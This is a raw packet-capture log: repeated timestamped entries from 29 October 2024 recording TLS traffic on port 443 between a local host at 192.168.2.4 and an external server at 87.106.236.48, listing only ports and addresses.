Oct 29, 2024 04:17:34.333822012 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.333843946 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.333884954 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.333899975 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.333925009 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.333959103 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.334398985 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.334418058 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.334450006 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.334461927 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.334486961 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.334567070 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.335011959 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.335031986 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.335088968 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.335105896 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.335127115 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.335151911 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.335675955 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.335695982 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.335740089 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.335752010 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.335779905 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.335802078 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.336417913 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.336437941 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.336478949 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.336488962 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.336518049 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.336539984 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.347757101 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.347780943 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.347851992 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.347866058 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.347950935 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.362135887 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.362158060 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.362205982 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.362217903 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.362246037 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.362279892 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.362938881 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.362961054 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.362998962 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.363009930 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.363034964 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.363079071 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.407152891 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.407176971 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.407224894 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.407247066 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.407269955 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.407293081 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.413546085 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.413573027 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.413616896 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.413634062 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.413655996 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.413923979 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.450577021 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.450597048 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.450645924 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.450658083 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.450685978 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.450702906 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.451041937 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.451061964 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.451106071 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.451117039 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.451141119 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.451160908 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.451634884 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.451653004 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.451706886 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.451719046 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.451941013 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.451977968 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.451994896 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.452032089 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.452043056 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.452068090 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.452285051 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.452545881 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.452564001 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.452605009 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.452616930 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.452640057 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.452656984 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.452924967 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.452944040 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.452980042 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.452991009 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.453016043 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.453157902 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.479119062 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.479139090 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.479217052 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.479229927 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.479492903 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.479690075 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.479707956 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.479767084 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.479779005 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.480150938 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.480175018 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.480223894 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.480223894 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.480240107 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.483489037 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.530729055 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.530750990 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.530821085 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.530836105 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.531212091 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.531440973 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.531461954 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.531517982 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.531529903 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.531758070 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.568475008 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.568494081 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.568572998 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.568586111 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.568873882 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.569336891 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.569355965 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.569417000 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.569428921 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.569700956 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.569794893 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.569818974 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.569853067 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.569864035 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.569890022 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.570045948 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.570276976 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.570302010 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.570346117 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.570357084 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.570379972 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.570399046 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.570738077 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.570759058 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.570805073 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.570816040 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.570839882 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.571079016 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.582710028 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.582756042 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.582815886 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.582827091 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.582854986 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.582901001 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.596606016 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.596625090 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.596684933 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.596704006 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.596939087 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.597083092 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.597100973 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.597163916 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.597163916 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.597177982 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.597220898 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.597651005 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.597670078 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.597712994 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.597724915 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.597748995 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.597765923 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.648252010 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.648272991 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.648358107 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.648379087 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.648866892 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.648891926 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.648938894 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.648961067 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.649008036 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.649008036 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.685930967 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.685951948 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.686013937 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.686029911 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.686497927 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.686520100 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.686562061 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.686574936 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.686603069 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.687011003 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.687027931 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.687088966 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.687104940 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.687479019 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.687551975 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.687571049 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.687608957 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.687621117 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.687645912 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.687776089 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.687798023 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.687834024 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.687849998 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.687871933 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.688249111 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.688288927 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.688304901 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.688318014 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.688343048 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.688361883 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.713958979 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.713978052 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.714035034 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.714046955 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.714071035 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.714091063 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.714545012 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.714570045 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.714615107 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.714627028 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.714652061 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.714668989 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.715044022 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.715063095 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.715101004 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.715111971 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.715135098 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.715152025 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.765419960 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.765441895 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.765527010 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.765533924 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.765928984 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.765957117 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.765993118 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.765999079 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.766015053 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.766042948 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.803683996 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.803706884 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.803905010 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.803905964 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.803920984 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.804267883 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.804290056 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.804332972 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.804349899 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.804374933 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.804397106 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.804759026 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.804778099 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.804815054 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.804832935 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.804856062 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.804872990 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.805157900 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.805179119 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.805222034 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.805239916 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.805265903 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.805650949 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.805672884 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.805713892 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.805730104 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.805769920 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.806056023 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.806073904 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.806107998 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.806122065 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.806149960 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.806169033 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.806386948 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.806405067 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.806437969 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.806461096 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.806484938 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.806504011 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.831552982 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.831577063 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.831687927 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.831747055 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.832022905 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.832046032 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.832187891 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.832189083 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.832210064 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.832587004 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.832606077 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.832647085 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.832662106 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.832690001 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.832710981 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.883332968 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.883356094 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.883486032 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.883510113 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.883560896 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.883825064 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.883847952 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.883888960 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.883902073 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.883929014 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.883955956 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.921273947 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.921295881 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.921356916 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.921386957 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.921411991 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.921452045 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.921830893 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.921875000 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.921911001 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.921924114 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.921951056 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.921967983 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.922214985 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.922233105 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.922266960 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.922277927 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.922302008 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.922322035 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.922667027 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.922687054 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.922724009 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.922734976 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.922769070 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.922770023 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.923113108 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.923131943 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.923166037 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.923182964 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.923204899 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.923233032 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.923558950 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.923584938 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.923619032 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.923629999 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.923657894 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.923748970 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.923929930 CET	443	49761	87.106.236.48	192.168.2.4
